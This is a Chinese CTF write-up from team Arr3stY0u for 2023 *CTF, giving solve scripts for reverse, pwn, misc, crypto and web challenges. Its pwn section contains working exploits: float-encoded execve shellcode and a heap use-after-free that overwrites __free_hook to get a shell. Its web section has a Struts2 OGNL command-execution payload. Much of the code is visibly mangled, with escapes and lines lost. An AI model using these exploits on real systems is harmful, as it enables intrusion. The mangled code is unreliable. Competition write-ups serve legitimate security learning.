2023 *CTF writeup by Arr3stY0u

admin 2024年10月10日22:12:31评论12 views字数 13712阅读45分42秒阅读模式

2023 *CTF writeup by Arr3stY0u

HEADER

团队简介:

      山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于CTF组,我们积极参与国内外各大网络安全竞赛的同时并依托高超的逆向分析与情报分析、渗透测试技术为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。

题目附件下载地址请后台回复:sixstarsctf2023

REVERSE

ez_code:

powershell混淆,运行脚本后输出中间变量可以得到python代码,魔改xxtea

#include <stdio.h>#include <stdint.h>#include <iostream>#define DELTA 0x87654321using namespace std;#define MX (((z >> 6 ^ y << 4) + (y >> 2 ^ z << 5)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))void btea(unsigned int *v, int n, unsigned int const key[4]){    unsigned int y, z, sum;    unsigned int p, rounds, e;    if (n < -1) /* Decoding Part */    {        n = -n;        rounds = 6 + 52 / n;        sum = rounds * DELTA;        y = v[0];        do        {            e = (sum >> 2) & 3;            for (p = n - 1; p > 0; p--)            {                z = v

; y = v

-= MX; } z = v[n - 1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); }}int main(){ unsigned int v[] = {1374278842, 2136006540, 4191056815, 3248881376}; unsigned int const k[4] = {0x67452301,0xefcdab89,0x98badcfe,0x10325476}; int n = 4; btea(v, -n, k); for (int i = 0; i < 16; i++) { printf("%c", *((char *)v + i)); } return 0;}//yOUar3g0oD@tPw5H

GoGpt:

import base64key = b"TcR@3t_3hp_5_G1H"enc_flag = bytearray(base64.b64decode("fiAGBkgXN3McFy9hAHRfCwYaIjQCRDFsXC8ZYBFmEDU="))for i in range(len(enc_flag)):    enc_flag[i] ^= key[i%16]print(enc_flag)

flagfile:

用file -m -C命令编译测试用magic文件,观察mgc文件格式规律。

file -m test.magic -C && hexdump -C test.magic.mgc

解析mgc提取数据解密flag。

import hexdumpimport structimport stringf = open('./flag.mgc', 'rb')b = f.read(0x178)indexes = []table = ''while True:    b = f.read(0x178)    if len(b) != 0x178:        break    line = b[:0x30]    _type = line[6]    off = struct.unpack_from('<I', line, 0x0c)[0]    s = f'type: {_type:02X}, off: {off:02X}'    if _type == 5:        s += ', str: '+line[0x20:].decode()    elif _type == 1:        n1, n2 = line[0x18], line[0x20]        v = n1 ^ n2        s += f', byte: {n1:02X} {n2:02X} {v:02X} {chr(v)}'        table += chr(v)    elif _type == 10:        n1, n2 = line[0x18], line[0x20]        v = n1 ^ n2        s += f', leshort: {n1:02X} {n2:02X} {v:02X} {v}'        indexes.append(v)    print(s)    # hexdump.hexdump(line)    # print('')# f_o_a__lhy_s_y^^hete_ug___goo_t_print(table)# [25, 8, 18, 20, 27, 31, 30, 26, 7, 13, 5, 11, 16, 9, 34, 32, 22, 10, 19, 23, 24, 15, 28, 36, 12, 33, 17, 6, 14, 35, 21, 29]print(indexes)real_flag = [' ']*40for i in range(len(indexes)):    print(indexes[i], table[i])    real_flag[indexes[i]] = table[i]print(''.join(real_flag))# _oh_yes_you_got_the_flag___^_^__

readme.txt骗人的。

boring cipher:

恢复box:

import hexdumpbin1 = open('./cipher-release', 'rb').read()bin2 = open('./orig_output', 'rb').read()dic = [None]*256for i in range(len(bin1)):    if dic[bin1[i]] == None:        dic[bin1[i]] = (bin2[i]-bin1[i]) & 0xFFhexdump.hexdump(bytes(dic))print(dic)

算法代码:

import structimport hexdumpfrom ctypes import c_uint32chals_box = [39, 3, 53, 38, 17, 35, 12, 0, 21, 1, 24, 18, 68, 18, 3, 11, 3, 40, 16, 38, 21, 52, 5, 63, 34, 21, 8, 7, 24, 24, 40, 4, 40, 51, 56, 14, 19, 20, 9, 31, 15, 9, 8, 21, 0, 15, 18, 4, 29, 22, 32, 17, 16, 23, 35, 25, 26, 11, 14, 33, 18, 35, 9, 17, 42, 31, 30, 19, 36, 22, 43, 19, 11, 20, 29, 40, 24, 20, 13, 9, 18, 48, 20, 19, 6, 35, 5, 38, 43, 29, 44, 37, 37, 20, 25, 16, 7, 17, 17, 2, 41, 24, 18, 25, 10, 14, 57, 43, 46, 24, 27, 10, 38, 17, 26, 17, 37, 52, 57, 18, 17, 50, 44, 6, 21, 29, 30,             43, 11, 11, 4, 36, 59, 24, 33, 8, 15, 13, 15, 13, 30, 37, 21, 14, 18, 49, 3, 40, 22, 18, 39, 44, 16, 36, 1, 20, 25, 35, 21, 10, 55, 28, 6, 13, 13, 18, 36, 28, 14, 32, 0, 11, 4, 14, 40, 30, 53, 7, 11, 14, 21, 9, 41, 29, 26, 13, 5, 2, 23, 7, 27, 16, 17, 8, 59, 18, 35, 7, 24, 36, 19, 8, 6, 37, 35, 41, 17, 15, 4, 5, 12, 19, 23, 2, 32, 2, 10, 8, 23, 46, 23, 47, 3, 1, 30, 55, 13, 32, 8, 21, 10, 30, 16, 29, 38, 12, 50, 30, 34, 59, 12, 22, 36, 34, 1, 41, 26, 5, 39, 16, 0, 14, 26, 24, 25, 63]g_cdata = list(struct.unpack_from('<1260I', open(    './cipher-release', 'rb').read(), 0x3F06C))box = [0]*256inp_flag = b'1234'inp_flag = (inp_flag+b'n').ljust(32, b'x00')for index in range(4):    v6 = 0x21C3677C82B40000  # fact(20)    v4 = 20    table21 = bytearray(range(21))    inp_u64 = struct.unpack_from('>Q', inp_flag, index*8)[0]    k = 0    while True:        done = False        while True:            if (v6 | inp_u64) >> 32:                v8 = inp_u64                inp_u64 %= v6                j = k + v8 // v6            else:                v10 = c_uint32(inp_u64).value // c_uint32(v6).value                inp_u64 = c_uint32(inp_u64).value % c_uint32(v6).value                j = k + v10            assert j < 21            print(j, k)            table21[j], table21[k] = table21[k], table21[j]            if ((v4 | v6) >> 32) == 0:                break            v6 = v6//v4            k += 1            v4 -= 1            if v4 == 0:                done = True                break        if done:            break        v6 = c_uint32(v6).value // c_uint32(v4).value        k += 1        v4 -= 1        if v4 == 0:            break    print(hexdump.hexdump(table21))    for i in range(21):        v14 = 21 * index + table21[i]        for j in range(15):            v = g_cdata[v14*15+j]            if v != 0xFFFFFFFF:                assert v <= 0xFF                box[v] += iprint(hexdump.hexdump(bytes(box)))# assert box == chals_box

逆出代码 -> 摇算法爷 -> 得到flag -> *ctf{b0rIn9_67hdnm_cIph3ri_7292}

PWN

fcalc:

劫持函数指针到栈地址执行shellcode,同时使shellcode符合被看成大小在1-100的浮点数。

#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcfilename  = gift.filename # current filenameis_debug  = gift.debug # is debug or not is_remote = gift.remote # is remote or notgdb_pid   = gift.gdb_pid # gdb pid if debugdef set_sc(sc):    pd = flat(        {            0:sc        },filler = 'x40',length=8    )    return pdpd = b'1' +b' '*7 + p64(0x3ff0000000000000)*10 pd+= set_sc("x48x31xc0")pd+= set_sc("xb8x3bx00x00x00")pd+= set_sc("xbfx2fx73x68x00")pd+=set_sc("x48xc1xe7x10")pd+=set_sc("x66x81xc7x69x6e")pd+=set_sc("x48xc1xe7x10")pd+=set_sc("x66x81xc7x2fx62")pd+=set_sc("x57x48x89xe7")pd+=set_sc("x48x31xf6")pd+=set_sc("x48x31xd2x0fx05")sa('Enter your expression:',pd)pd = b'1.1 1 '+ p8(48)sla('Result: ',pd)ia()

drop:

要理解bubble分支,它的行为如下:

0 是 free 0到idx

1 是 free idx到最后一个

使用bubble进行free存在uaf,根据bin中已有堆块进行堆风水即可。

#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcfilename  = gift.filename # current filenameis_debug  = gift.debug # is debug or not is_remote = gift.remote # is remote or notgdb_pid   = gift.gdb_pid # gdb pid if debugdef cmd(i, prompt='Your choice:'):    sla(prompt, str(i))def add(cont='/bin/shx00'):    cmd('1')    sla('item: n',cont)    #......def edit(i,cont):    cmd('3')    sla('Index: n',str(i))    sla('new content:',cont)    #......def show(i):    cmd('2')    sla('Index: n',str(i))    #......def dele():    cmd('5')    #......def magic(i):    cmd(4)    sla('is East)','0')    sla('Launching index:',str(i))for i in range(10):    add(flat(    {        0x0:'/bin/sh;',        0x100:''    }))#0x13b1add(flat(    {        0x13b0-0x10:''    }))magic(8)show(1)ru('item: n')leak_heap = u64_ex(r(6))leak_ex2(leak_heap)lb = recv_current_libc_addr(0x1ecbe0,0x100)leak_ex2(lb)libc.address = lbedit(3,flat(    {        0x0:libc.sym.__free_hook    }))add(flat(    {        0x0:'/bin/sh;',        0x100:''    }))add(flat(    {        0x0:libc.sym.system,        0x100:''    }))ia()

MISC

old language:

龙语,游戏《上古卷轴V:天际》中出现的语言,字母表如下:

2023 *CTF writeup by Arr3stY0u

flag:*ctf{GIKRVZY}

snippingTools:

图片末尾有大量的数据,搜索可得相关的漏洞为CVE-2023-21036(aCropalypse)。  

2023 *CTF writeup by Arr3stY0u

dead game:

获得flag的方法有好几种,我们采取的是通关获取

第一把修改了生命回复速率与移动速度通的关,flag_part1不对

2023 *CTF writeup by Arr3stY0u

第二把不修改参数通关,少了flag_part3

2023 *CTF writeup by Arr3stY0u

结合第一把给出的flag_part3,提交发现错误。

然后根据剧情中的flag_part3碎片

2023 *CTF writeup by Arr3stY0u

flag_part3中应该有两个z,也就是81!zZ@Rd,对应了暴雪的英文blizzard。

flag:*CTF{80867_K1115_81!zZ@Rd}

Increasing:

题目需要接收共180个模型的参数,模型之间以'|'分隔。每个模型分三层,传入的参数格式为:

'x(层数坐标),y(权重坐标1),z(权重坐标2),value'#

'x(层数坐标),y(权重坐标1),value'#

这180个模型按顺序排列,第i号模型应该接受当前序号i作为输入,预测标签为i+1。

首先训练180个模型:

import torchimport torch.nn as nnfrom torch.autograd import Variablemodel_num=181class EasyNet(nn.Module):    def __init__(self):        super(EasyNet, self).__init__()        self.norm=nn.Softmax()        self.filter=nn.Linear(1,2)        self.bypass = nn.Linear(2,model_num,bias=False)    def forward(self, x):        x=self.filter(x)        x=self.bypass(x)        x=self.norm(x)        return xnet=EasyNet()loss_fn = torch.nn.MSELoss(reduction='mean')optimizer = torch.optim.SGD(net.parameters(), lr=0.3)count = 0for _idx in range(10000):    running_loss=0    for i in range(0,model_num-1):        for _idx_ in range(10000):            tmpinput = Variable(torch.tensor([i * 1.0]).reshape([1, 1]))#模拟的输入            tmplabel = Variable(torch.zeros([1, model_num]))            tmplabel[0][i+1] = 1            optimizer.zero_grad()            outputs = net(tmpinput)            loss = loss_fn(outputs, tmplabel)            loss.backward()            optimizer.step()        tmpinput = torch.tensor([i * 1.0]).reshape([1, 1])        tmplabel = torch.zeros([1])        tmplabel[0] = i+1        outputs = net(tmpinput)        _, predicted = torch.max(outputs.data, 1)        if (predicted == tmplabel).sum().item() ==1:            import os            if not os.path.exists(f"No{i}.pt"):                count += 1                print(count/model_num)                torch.save(net, f"No{i}.pt")

然后读取各个模型处理成合法的输入:

import torchfrom torch.nn import initimport torch.nn as nnimport numpymodel_num=181class EasyNet(nn.Module):    def __init__(self):        super(EasyNet, self).__init__()        self.norm=nn.Softmax()        self.filter=nn.Linear(1,2)        self.bypass = nn.Linear(2,model_num,bias=False)    def forward(self, x):        x=self.filter(x)        x=self.bypass(x)        x=self.norm(x)        return xdef att():    final = ''    for i in range(0,model_num-1):        result = ''        net =torch.load(f"./No{i}.pt")        mydict=net.state_dict()        namelist=['filter.weight', 'filter.bias', 'bypass.weight']        weightlist=[]        mydict=net.state_dict()        for i in range(len(namelist)):            weightlist.append(mydict[namelist[i]].tolist())        for _wl in range(len(weightlist)):            tmpdata = weightlist[_wl]            tmpdata_shape = numpy.array(tmpdata).shape            for index, value in enumerate(tmpdata):                if type(value) != type([]):                    result += f'{_wl},{index},{value}#'                else:                    for _index, _value in enumerate(value):                        if type(_value) != type([]):                            result += f'{_wl},{index},{_index},{_value}#'                         else:                            print("wrong")                            exit()        final = final +result[:-2] + '|'    final = final[:-2]    d=final.split('|')    print(len(d))    f=open('out.txt','w')    f.write(final)    f.close()    return finalif __name__ == '__main__':    att()

最后发送参数:

from pwn import *import torch.nn as nnmodel_num=181class EasyNet(nn.Module):    def __init__(self):        super(EasyNet, self).__init__()        self.norm=nn.Softmax()        self.filter=nn.Linear(1,2)        self.bypass = nn.Linear(2,model_num,bias=False)    def forward(self, x):        x=self.filter(x)        x=self.bypass(x)        x=self.norm(x)        return xp = remote("122.9.155.47", 50001)context.log_level = 'DEBUG'p.recvuntil('Please give me the weights!')import checkpayload = check.att()p.send(payload)p.send(b'n')print(p.recvall())

2023 *CTF writeup by Arr3stY0u

ray tracing:

附件是个ELF,扔到IDA中,发现像是个迷宫题:

2023 *CTF writeup by Arr3stY0u

找到迷宫坐标数据:

2023 *CTF writeup by Arr3stY0u

将其提取出来,比较长这里就不贴了,每组坐标都是[x,y,z]的形式,如前三个是:

[105, 120, 30][75, 90, 30][135, 90, 30]

因为是三维坐标,所以肯定不是平面能看出来的,我们转战到3d软件中建模呈现坐标,我这里用的是unity。

2023 *CTF writeup by Arr3stY0u

需要多次转动角度,像从正面看是一条线的,从上边看就是#

2023 *CTF writeup by Arr3stY0u

正面看是一条线的,侧面看可能是其他字母。

2023 *CTF writeup by Arr3stY0u

创建实体脚本如下:

using UnityEngine;public class CoordinatePoints : MonoBehaviour{    public Vector3[] coordinatePointsArray = new Vector3[]    {        new Vector3(105, 120, 30),        new Vector3(75, 90, 30),        new Vector3(135, 90, 30),        new Vector3(45, 60, 30),        new Vector3(75, 60, 30),//太长了,剩余的请自行添加,可以写个py脚本或使用chatgpt    };    public GameObject pointPrefab;public float pointSize = 20.0f;//设置创建块大小,我使用的是20    private void Awake()    {    }    private void Start()    {        DrawCoordinatePoints();    }    private void DrawCoordinatePoints()    {        foreach (Vector3 point in coordinatePointsArray)        {            GameObject pointObject = Instantiate(pointPrefab, point, Quaternion.identity);            pointObject.transform.localScale = new Vector3(pointSize, pointSize, pointSize);        }    }}

CRYPTO

ezcrypto:

爆破seed 667;然后开始还原,按"_"分段:(1)偶数长度,两次替换(2)奇数长度:1次替换,1次xor(有个动态的index)。

import osfrom Crypto.Util.Padding import padfrom Crypto.Util.number import *from Crypto.Cipher import AESfrom gmpy2 import *import randomimport stringcharacters = string.printable[:-6]mb='W93VnRHs<CU#GI!d^7;'Lyfo`qt68&Y=Pr(b)O2[|mc0z}BvKkh5~lJeXM-iNgaTZ]*4F?upw>A,[email protected]:_$E/%"+{1'mb1='W93VnRHs<CU#GI!d^7;''''for rseed in range(0,1001):    random.seed(rseed * 2)    random_sequence = random.sample(characters, len(characters))    map_string2 = ''.join(random_sequence)    if map_string2.startswith(mb1):        print(rseed,map_string2)'''rseed = 667assert rseed <= 1000 and rseed >= 0digits = string.digitsascii_letters = string.ascii_lettersdef Ran_str(seed : int, origin: str):    random.seed(seed)    random_sequence = random.sample(origin, len(origin))    return ''.join(random_sequence)map_string1 = Ran_str(rseed, characters)map_string2 = Ran_str(rseed * 2, characters)map_string3 = Ran_str(rseed * 3, characters)print("map_string1: " + map_string1)print("map_string2: " + map_string2)print("map_string3: " + map_string3)def util(flag):    return flag[9: -1]def util1(map_string: str, c):    return map_string.index(c)def str_xor(s: str, k: str):    return ''.join(chr((ord(a)) ^ (ord(b))) for a, b in zip(s, k))def rev_mess_str(s: str, index: int):    map_str = Ran_str(index, ascii_letters + digits)    new_str = str_xor(s, map_str[index])    if not characters.find(new_str) >= 0:        new_str = "CrashOnYou??" + s    return new_str, util1(map_str, new_str)def mess_sTr(s: str, index: int):    map_str = Ran_str(index, ascii_letters + digits)    new_str = str_xor(s, map_str[index])    if not characters.find(new_str) >= 0:        new_str = "CrashOnYou??" + s    return new_str, util1(map_str, s)def crypto_phase1(flag):    flag_list1 = util(flag).split('_')    newlist1 = []    newlist2 = []    index = 1    k = 0    for i in flag_list1:        if len(i) % 2 == 1:            i1 = ""            for j in range(len(i)):                p, index = mess_sTr(i[j], index)                i1 += p            p, index = mess_sTr(i[0], index)            i1 += p            i1 += str(k)            k += 1            newlist1.append(i1)        else:            i += str(k)            k += 1            newlist2.append(i)    return newlist1, newlist2def crypto_phase2(list):    newlist = []    for i in list:        str = ""        for j in i:            str += map_string1[util1(map_string3, j)]        newlist.append(str)    return newlistdef crypto_phase3(list):    newlist = []    for i in list:        str = ""        for j in i:            str += map_string2[util1(map_string3, j)]        newlist.append(str)    return newlistdef rev_crypto_phase3_str(stri):    str = ""    for j in stri:        str += map_string3[util1(map_string2, j)]    return strdef rev_crypto_phase2_str(stri):    str = ""    for j in stri:        str += map_string3[util1(map_string1, j)]    return strdef crypto_final(list):    str = ""    for i in list[::-1]:        str += i    return strcipher='&I1}ty~A:bR>)Q/;6:*6`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'print(rev_crypto_phase3_str(rev_crypto_phase2_str(cipher)))#cR7PtO5 ln4 s0m32 F1nD1cipher00='`1;bum?8i[LL*t`1;bum?8i[LL?Ia`1;bum?8i[LL72;xl:mvHF"z4_/DD+c:mvHF"z4_/DDzbZ:mvHF"z4_/DDr}vS?'print(len(cipher))print(rev_crypto_phase3_str(cipher00))#CrashOnYou??F R CrashOnYou??n w3 CrashOnYou??T D a >0#TrYT  F4nF#TrY_F1nD_s0m3_F4n_ln_cR7PtOp,index=mess_sTr('T',1)print(p,index)p,index=rev_mess_str('D',index)print(p,index)p,index=rev_mess_str('a',index)print(p,index)p,index=rev_mess_str('>',index)print(p,index)p,index=mess_sTr('F',index)print(p,index)p,index=rev_mess_str('R',index)print(p,index)p,index=mess_sTr('n',index)print(p,index)p,index=rev_mess_str('w',index)print(p,index)

WEB

jwt2struts:

2023 *CTF writeup by Arr3stY0u

2023 *CTF writeup by Arr3stY0u

结合这两部分可以知道这里应该是一个jwt伪造,html注释里JWT_key.php。

2023 *CTF writeup by Arr3stY0u

hash长度扩展攻击,使用hashpump生成一个payload。

2023 *CTF writeup by Arr3stY0u

x替换为%,修改jwt的user字段为admin,跳转到一个struts2。

payload:

'+%2b+(%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%23foo%3dnew+java.lang.Boolean("false")+,%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo,%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()))+%2b+'

FOOTER

CTF组招新:

1. Web:Java,Go,Rust,Node.js,PHP等熟悉任意两种及以上代码审计,加分项:有高质量cve,学习能力强。

2. Crypto:熟悉数论,群论等,加分项:格大佬,会sage脚本,会做nc交互题,学习能力强。

3. Reverse:熟悉多种语言包括但不限于go、rust,熟悉脱壳、反反调试姿势,会Android flutter逆向,frida检测,去ollvm混淆和mov混淆,加分项:手搓天手搓地。

4. Pwn:熟悉多种house of利用技巧、高版本堆利用姿势,加分项:kernel,qemu、musl等。

5. Blockchain:来者不拒,加分项:solana pwn,学习能力强。

6. Misc:熟悉各种编码、隐写术、流量分析思路,熟练掌握取证技术,加分项:会其他任意两个方向以上普通难度的题,学习能力强。

其他:iOS,IOT,车联网,AI等无明确标准。

联系qq2944508194

原文始发于微信公众号(山海之关):2023 *CTF writeup by Arr3stY0u

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日22:12:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023 *CTF writeup by Arr3stY0uhttps://cn-sec.com/archives/1931292.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息